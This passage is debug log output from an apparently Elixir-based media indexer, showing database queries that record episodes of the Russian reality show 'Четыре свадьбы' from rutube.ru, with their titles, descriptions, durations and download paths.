s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.486 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=43.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-03 19:01:17Z], 1] 14:36:15.511 [debug] QUERY OK source="media_items" db=24.7ms idle=41.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 20", "4a712d6c-256a-4c8b-ba59-3792047f8d11", "ee137cfac028bfbe75b0b5fd0cdf4c96", 4860, false, "https://rutube.ru/video/ee137cfac028bfbe75b0b5fd0cdf4c96/", 36, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e020300 - Четыре свадьбы: Серия 20.mp4", false, false, false, 1, [], 1, ~U[2022-02-03 19:01:17Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Четыре свадьбы: Серия 20", "ee137cfac028bfbe75b0b5fd0cdf4c96", 4860, false, "https://rutube.ru/video/ee137cfac028bfbe75b0b5fd0cdf4c96/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e020300 - Четыре свадьбы: Серия 20.mp4", false, 1, ~U[2022-02-03 19:01:17Z]] 14:36:15.513 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=63.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.515 [debug] QUERY OK source="media_items" db=0.6ms decode=0.7ms idle=31.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-22 18:40:04Z], 1] 14:36:15.527 [debug] QUERY OK source="media_items" db=11.6ms idle=30.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 22", "16233122-8523-4032-a91e-aa25a40ddc69", "c44a00c665c8c89b1210e7f5968bea21", 4670, false, "https://rutube.ru/video/c44a00c665c8c89b1210e7f5968bea21/", 37, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e022200 - Четыре свадьбы: Серия 22.mp4", false, false, false, 1, [], 1, ~U[2022-02-22 18:40:04Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Четыре свадьбы: Серия 22", "c44a00c665c8c89b1210e7f5968bea21", 4670, false, "https://rutube.ru/video/c44a00c665c8c89b1210e7f5968bea21/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e022200 - Четыре свадьбы: Серия 22.mp4", false, 1, ~U[2022-02-22 18:40:04Z]] 14:36:15.541 [debug] QUERY OK source="sources" db=12.3ms queue=0.1ms idle=42.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.542 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=29.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-25 17:20:04Z], 1] 14:36:15.564 [debug] QUERY OK source="media_items" db=20.8ms idle=29.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 23", "202827cb-771d-479e-8e17-f5768dec1562", "bdb0c80b2df0ef5cf0ea16aeb027d25a", 4587, false, "https://rutube.ru/video/bdb0c80b2df0ef5cf0ea16aeb027d25a/", 38, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e022500 - Четыре свадьбы: Серия 23.mp4", false, false, false, 1, [], 1, ~U[2022-02-25 17:20:04Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Четыре свадьбы: Серия 23", "bdb0c80b2df0ef5cf0ea16aeb027d25a", 4587, false, "https://rutube.ru/video/bdb0c80b2df0ef5cf0ea16aeb027d25a/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e022500 - Четыре свадьбы: Серия 23.mp4", false, 1, ~U[2022-02-25 17:20:04Z]] 14:36:15.568 [debug] QUERY OK source="sources" db=3.1ms queue=0.1ms idle=49.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.569 [debug] QUERY OK source="media_items" db=0.5ms decode=0.3ms idle=40.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-19 14:20:07Z], 1] 14:36:15.595 [debug] QUERY OK source="media_items" db=25.5ms idle=28.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты готовы удивлять! Илюса из Казани решила ярко появиться на своей свадьбе в деревенском стиле. Ксения из Нижнего Тагила придумала оригинальную фотосессию на своей пожарной свадьбе. У Светланы из Екатеринбурга будет мото-свадьба, на которой она устроит байк-шоу. А на свадьбе в стиле «фрик-шоу» невеста Екатерина из Москвы будет впечатлять дизайнерскими нарядами. Какие ещё развлечения подготовили девушки, узнаем из программы «Четыре свадьбы».", "Свадьба в деревенском стиле VS Пожарная свадьба", "6428d1de-43b1-4606-a048-c80f639285ac", "da5ab11ef6980d22f6424a996e48de5d", 5962, false, "https://rutube.ru/video/da5ab11ef6980d22f6424a996e48de5d/", 39, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e011900 - Свадьба в деревенском стиле VS Пожарная свадьба.mp4", false, false, false, 1, [], 1, ~U[2023-01-19 14:20:07Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "Четыре невесты готовы удивлять! Илюса из Казани решила ярко появиться на своей свадьбе в деревенском стиле. Ксения из Нижнего Тагила придумала оригинальную фотосессию на своей пожарной свадьбе. У Светланы из Екатеринбурга будет мото-свадьба, на которой она устроит байк-шоу. А на свадьбе в стиле «фрик-шоу» невеста Екатерина из Москвы будет впечатлять дизайнерскими нарядами. Какие ещё развлечения подготовили девушки, узнаем из программы «Четыре свадьбы».", "Свадьба в деревенском стиле VS Пожарная свадьба", "da5ab11ef6980d22f6424a996e48de5d", 5962, false, "https://rutube.ru/video/da5ab11ef6980d22f6424a996e48de5d/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e011900 - Свадьба в деревенском стиле VS Пожарная свадьба.mp4", false, 1, ~U[2023-01-19 14:20:07Z]] 14:36:15.598 [debug] QUERY OK source="sources" db=1.9ms idle=53.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.599 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=34.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-26 14:00:13Z], 1] 14:36:15.623 [debug] QUERY OK source="media_items" db=23.6ms idle=31.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Какие свадьбы подготовили 4 невесты? У Влады из Тюмени будет свадьба в морском стиле с впечатляющим появлением жениха и невесты. Даша из Екатеринбурга впечатлит конкуренток своей свадьбой в стриптиз-клубе. На классической свадьбе Инны из Тулы будет обширная развлекательная программа. А свадьба Алины из Подпорожья пройдёт в стиле «провинциальный минимализм» с декором в эвкалиптовом цвете. Сморите программу «Четыре свадьбы»!", "Свадьба в морском стиле VS Свадьба в стриптиз-клубе", "09068e3d-e338-4441-b237-a6abb3c8f359", "626e8342606042a7072d3dc6c7bf71a5", 5023, false, "https://rutube.ru/video/626e8342606042a7072d3dc6c7bf71a5/", 40, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e012600 - Свадьба в морском стиле VS Свадьба в стриптиз-клубе.mp4", false, false, false, 1, [], 1, ~U[2023-01-26 14:00:13Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "Какие свадьбы подготовили 4 невесты? У Влады из Тюмени будет свадьба в морском стиле с впечатляющим появлением жениха и невесты. Даша из Екатеринбурга впечатлит конкуренток своей свадьбой в стриптиз-клубе. На классической свадьбе Инны из Тулы будет обширная развлекательная программа. А свадьба Алины из Подпорожья пройдёт в стиле «провинциальный минимализм» с декором в эвкалиптовом цвете. Сморите программу «Четыре свадьбы»!", "Свадьба в морском стиле VS Свадьба в стриптиз-клубе", "626e8342606042a7072d3dc6c7bf71a5", 5023, false, "https://rutube.ru/video/626e8342606042a7072d3dc6c7bf71a5/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e012600 - Свадьба в морском стиле VS Свадьба в стриптиз-клубе.mp4", false, 1, ~U[2023-01-26 14:00:13Z]] 14:36:15.626 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=54.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.628 [debug] QUERY OK source="media_items" db=2.1ms queue=0.2ms idle=31.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-16 14:00:11Z], 1] 14:36:15.648 [debug] QUERY OK source="media_items" db=18.9ms queue=0.1ms idle=31.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Какими будут 4 новые свадьбы? Татьяна из Бабаево позовёт гостей на свою классическую свадьбу, особенностью которой станет танец девушки в бокале. Торжество Илоны из Санкт-Петербурга пройдёт в ресторане XVIII века. Фишкой мероприятия Ксении из Иваново станет фотозона с собаками. А на свадьбе Натали из Москвы жених будет развлекать гостей диджей-сетом. Смотрите программу «Четыре свадьбы»!", "Деревенская свадьба VS Свадьба аристократов", "1cd91542-b518-463f-88ba-f00e257ddb34", "ae1adc2c7b1212ae246d930fe6105673", 5251, false, "https://rutube.ru/video/ae1adc2c7b1212ae246d930fe6105673/", 41, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e021600 - Деревенская свадьба VS Свадьба аристократов.mp4", false, false, false, 1, [], 1, ~U[2023-02-16 14:00:11Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "Какими будут 4 новые свадьбы? Татьяна из Бабаево позовёт гостей на свою классическую свадьбу, особенностью которой станет танец девушки в бокале. Торжество Илоны из Санкт-Петербурга пройдёт в ресторане XVIII века. Фишкой мероприятия Ксении из Иваново станет фотозона с собаками. А на свадьбе Натали из Москвы жених будет развлекать гостей диджей-сетом. Смотрите программу «Четыре свадьбы»!", "Деревенская свадьба VS Свадьба аристократов", "ae1adc2c7b1212ae246d930fe6105673", 5251, false, "https://rutube.ru/video/ae1adc2c7b1212ae246d930fe6105673/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e021600 - Деревенская свадьба VS Свадьба аристократов.mp4", false, 1, ~U[2023-02-16 14:00:11Z]] 14:36:15.651 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=50.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.652 [debug] QUERY OK source="media_items" db=0.6ms idle=28.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-02 14:00:06Z], 1] 14:36:15.674 [debug] QUERY OK source="media_items" db=21.5ms idle=26.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Каждая из 4 невест уверена, что её свадьба станет лучшей. А как оценят мероприятия девушек их соперницы? У Екатерины из Магнитогорска будет классическая свадьба с элементами 90-х. Татьяна из Москвы подготовит свадьбу в стиле «славянское бохо». Свадьба Дарьи из Москвы пройдёт в тематике гавайской вечеринки. А фишкой бохо-свадьбы Алёны из Воронежа станет большое количество танцев. Кто одержит победу, увидим в программе «Четыре свадьбы».", "Гавайская свадьба VS Cлавянское бохо", "cb8c264f-592e-4bdf-a20d-fc6049b7ad59", "f3f3a6c659dea362e45d1004343f8862", 5000, false, "https://rutube.ru/video/f3f3a6c659dea362e45d1004343f8862/", 42, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e020200 - Гавайская свадьба VS Cлавянское бохо.mp4", false, false, false, 1, [], 1, ~U[2023-02-02 14:00:06Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "Каждая из 4 невест уверена, что её свадьба станет лучшей. А как оценят мероприятия девушек их соперницы? У Екатерины из Магнитогорска будет классическая свадьба с элементами 90-х. Татьяна из Москвы подготовит свадьбу в стиле «славянское бохо». Свадьба Дарьи из Москвы пройдёт в тематике гавайской вечеринки. А фишкой бохо-свадьбы Алёны из Воронежа станет большое количество танцев. Кто одержит победу, увидим в программе «Четыре свадьбы».", "Гавайская свадьба VS Cлавянское бохо", "f3f3a6c659dea362e45d1004343f8862", 5000, false, "https://rutube.ru/video/f3f3a6c659dea362e45d1004343f8862/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e020200 - Гавайская свадьба VS Cлавянское бохо.mp4", false, 1, ~U[2023-02-02 14:00:06Z]] 14:36:15.677 [debug] QUERY OK source="sources" db=2.4ms queue=0.1ms idle=46.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.678 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=29.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-09 14:00:11Z], 1] 14:36:15.709 [debug] QUERY OK source="media_items" db=30.2ms idle=28.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты готовы побывать на торжествах друг друга. У Марии из Нижнего Новгорода будет классическая свадьба с оригинальной подачей торта. Юлия из Йошкар-Олы попросит гостей прийти на её свадьбу в белых кроссовках. Василиса позовёт соперниц в Кимры на свою свадьбу в стиле рустик. А свадьба Екатерины из Калининграда пройдёт в стиле «Горько». Какие баллы выставят участницы своим конкуренткам, покажет программа «Четыре свадьбы».", "Свадьба в стиле рустик VS Свадьба в стиле Горько", "af010d33-9c29-4202-b0ad-369dd49a044e", "274c0787ebb1420474e56c454f4dc520", 5733, false, "https://rutube.ru/video/274c0787ebb1420474e56c454f4dc520/", 43, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e020900 - Свадьба в стиле рустик VS Свадьба в стиле Горько.mp4", false, false, false, 1, [], 1, ~U[2023-02-09 14:00:11Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "4 невесты готовы побывать на торжествах друг друга. У Марии из Нижнего Новгорода будет классическая свадьба с оригинальной подачей торта. Юлия из Йошкар-Олы попросит гостей прийти на её свадьбу в белых кроссовках. Василиса позовёт соперниц в Кимры на свою свадьбу в стиле рустик. А свадьба Екатерины из Калининграда пройдёт в стиле «Горько». Какие баллы выставят участницы своим конкуренткам, покажет программа «Четыре свадьбы».", "Свадьба в стиле рустик VS Свадьба в стиле Горько", "274c0787ebb1420474e56c454f4dc520", 5733, false, "https://rutube.ru/video/274c0787ebb1420474e56c454f4dc520/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e020900 - Свадьба в стиле рустик VS Свадьба в стиле Горько.mp4", false, 1, ~U[2023-02-09 14:00:11Z]] 14:36:15.713 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=58.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.714 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=39.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-02 14:20:08Z], 1] 14:36:15.725 [debug] QUERY OK source="media_items" db=9.6ms idle=38.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Новые невесты с нетерпением ждут свои свадьбы и мероприятия конкуренток! Юлия из Кургана дала своей свадьбе название «Отражение тебя». На свадьбе Регины из Иваново выступит кавер-группа. У Анастасии из Уфы будет классическая свадьба с татарскими традициями. А свадьба Яны из Калининграда пройдёт в формате пляжной вечеринки. Чьё торжество станет самым запоминающимся, узнаем из программы «Четыре свадьбы».", "Свадьба на пляже VS Татарские традиции", "e520440b-4993-40db-b80e-5a7c5dc086ad", "9d98e96027704d72ca460d8f47211576", 6029, false, "https://rutube.ru/video/9d98e96027704d72ca460d8f47211576/", 44, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e030200 - Свадьба на пляже VS Татарские традиции.mp4", false, false, false, 1, [], 1, ~U[2023-03-02 14:20:08Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "Новые невесты с нетерпением ждут свои свадьбы и мероприятия конкуренток! Юлия из Кургана дала своей свадьбе название «Отражение тебя». На свадьбе Регины из Иваново выступит кавер-группа. У Анастасии из Уфы будет классическая свадьба с татарскими традициями. А свадьба Яны из Калининграда пройдёт в формате пляжной вечеринки. Чьё торжество станет самым запоминающимся, узнаем из программы «Четыре свадьбы».", "Свадьба на пляже VS Татарские традиции", "9d98e96027704d72ca460d8f47211576", 6029, false, "https://rutube.ru/video/9d98e96027704d72ca460d8f47211576/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e030200 - Свадьба на пляже VS Татарские традиции.mp4", false, 1, ~U[2023-03-02 14:20:08Z]] 14:36:15.737 [debug] QUERY OK source="sources" db=10.7ms queue=0.1ms idle=47.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.738 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=27.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-08 14:00:15Z], 1] 14:36:15.755 [debug] QUERY OK source="media_items" db=15.9ms idle=26.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы «Четырёх свадеб» готовы удивлять! У Натальи из Раменского будет классическая свадьба с выкупом в стиле полёта на самолёте. Полина позовёт гостей в Череповец на свою бохо-свадьбу. Юлия из Ростова-на-Дону вместе с женихом устроит «перелёты» между столами-странами. А Ирина из Барабинска пригласит соперниц на свою свадьбу в стиле лофт с напитками собственного производства. Побывать на мероприятиях девушек поможет программа «Четыре свадьбы».", "Свадьба на стиле VS Свадьба на селе", "0caf5d92-1782-4818-9a59-6cf6cf95c4ff", "23827730f9a796a72723c8fb403b10d2", 5094, false, "https://rutube.ru/video/23827730f9a796a72723c8fb403b10d2/", 45, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e030800 - Свадьба на стиле VS Свадьба на селе.mp4", false, false, false, 1, [], 1, ~U[2023-03-08 14:00:15Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "Участницы «Четырёх свадеб» готовы удивлять! У Натальи из 